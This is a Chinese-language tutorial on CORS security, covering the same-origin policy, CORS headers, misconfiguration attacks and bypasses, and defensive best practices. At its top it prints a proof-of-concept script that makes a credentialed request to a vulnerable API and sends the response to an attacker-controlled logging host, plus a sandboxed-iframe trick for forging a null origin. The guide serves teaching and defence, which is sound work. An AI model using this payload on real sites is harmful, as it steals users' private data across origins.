CORS安全完全指南

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("get","https://vulnerable.domain/api/private-data",true);
req.withCredentials = true;
req.send();

function reqListener() {
  location="//attacker.domain/log?response="+this.responseText;
};

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src='data:text/html,<script>CORS request here</script>'>
</iframe>

CORS安全完全指南 1. 介绍 本指南全面收集关于CORS(跨域资源共享)的安全知识，从基础到高级，涵盖攻击与防御两方面。 1.1 目标读者 网站管理员 程序员 渗透测试人员 赏金猎人 安全专家 2. 跨域资源共享(CORS) CORS是一种放宽浏览器同源策略的机制，允许不同网站和服务器之间通过浏览器进行通信。 2.1 同源策略 同源策略是浏览器安全的核心概念，限制不同源的脚本互相访问方法和属性。 同源定义 ：协议、域名、端口三者完全相同。 示例分析(以 http://www.example.com/dir/page.html 为基准): | URL | 结果 | 原因 | |------|------|------| | http://www.example.com/dir2/other.html | 成功 | 同协议、域名、端口 | | http://www.example.com:81/dir/other.html | 失败 | 不同端口 | | https://www.example.com/dir/other.html | 失败 | 不同协议 | | http://en.example.com/dir/other.html | 失败 | 不同主机 | 2.2 CORS机制 CORS通过在HTTP头部添加字段，使客户端有资格跨域访问资源。 核心头部字段 Access-Control-Allow-Origin : 指定允许跨域访问的源 Access-Control-Allow-Credentials : 是否允许发送用户凭证(cookie等) 2.2.1 身份数据 当 Access-Control-Allow-Credentials 设为 true 时，浏览器会发送用户凭证。 2.2.2 预检请求 对于复杂请求(POST/PUT/DELETE等)，浏览器会先发送OPTIONS预检请求，包含： Access-Control-Request-Method Access-Control-Request-Headers Origin 2.2.3 允许多个源 协议建议用空格分隔多个源，但浏览器不支持 通配符 * 可以匹配所有域名，但不能与 Access-Control-Allow-Credentials: true 同时使用 2.2.4 其他相关头部 Vary: Origin : 当 Access-Control-Allow-Origin 动态生成时应设置此头部 3. 攻击技术 3.1 测试流程 识别 ：寻找开启CORS的应用(常见于API) 分析 ：测试不同Origin值，观察响应头部 利用 ：根据配置情况实施攻击 3.2 有用户凭据的利用 当 Access-Control-Allow-Credentials: true 时，可窃取用户敏感数据。 可利用性分析 ： | Access-Control-Allow-Origin | Access-Control-Allow-Credentials | 可利用性 | |-----------------------------|-----------------------------------|----------| | https://attacker.com | true | 是 | | null | true | 是 | | * | true | 否 | 攻击示例 ： 3.3 无用户凭据的利用 可利用性分析 ： | Access-Control-Allow-Origin | 可利用性 | |-----------------------------|----------| | https://attacker.com | 是 | | null | 是 | | * | 是 | 3.3.1 绕过基于IP的身份验证 利用受害者浏览器作为代理访问内网资源。 3.3.2 客户端缓存中毒 利用CORS注入恶意头部，污染浏览器缓存。 3.3.3 服务器端缓存中毒 通过注入特殊字符的Origin头部，污染服务器缓存。 3.4 绕过技术 3.4.1 NULL源 使用沙盒iframe获取null源： 3.4.2 使用目标域名作为子域名 如： https://target.local.attacker.domain 3.4.3 注册同名域名 如正则表达式 ^https?://.*target\.local$ 可被 https://nottarget.local 绕过 3.4.4 控制目标的子域名 接管或利用有漏洞的子域名 3.4.5 第三方域名 利用被信任的第三方服务(如Amazon S3) 3.4.6 特殊字符绕过 某些浏览器允许特殊字符(如 { , _ )绕过验证 4. 防御技术 4.1 最佳实践 非必要不开启CORS 严格定义白名单 ：避免使用通配符和正则表达式 仅允许安全协议 ：禁用HTTP 配置Vary头部 ： Vary: Origin 避免使用Credentials ：除非绝对必要 限制允许的方法 ：通过 Access-Control-Allow-Methods 限制缓存时间 ：使用 Access-Control-Max-Age 仅配置必要头部 ：减少攻击面 4.2 框架配置注意事项 不同框架的CORS默认配置可能不安全，需特别注意： 明确设置 origin 和 credentials 避免使用宽松的默认值 5. 总结 CORS是强大的跨域通信机制，但错误配置会导致严重安全风险。开发者应严格遵循安全最佳实践，测试人员应全面验证CORS配置的安全性。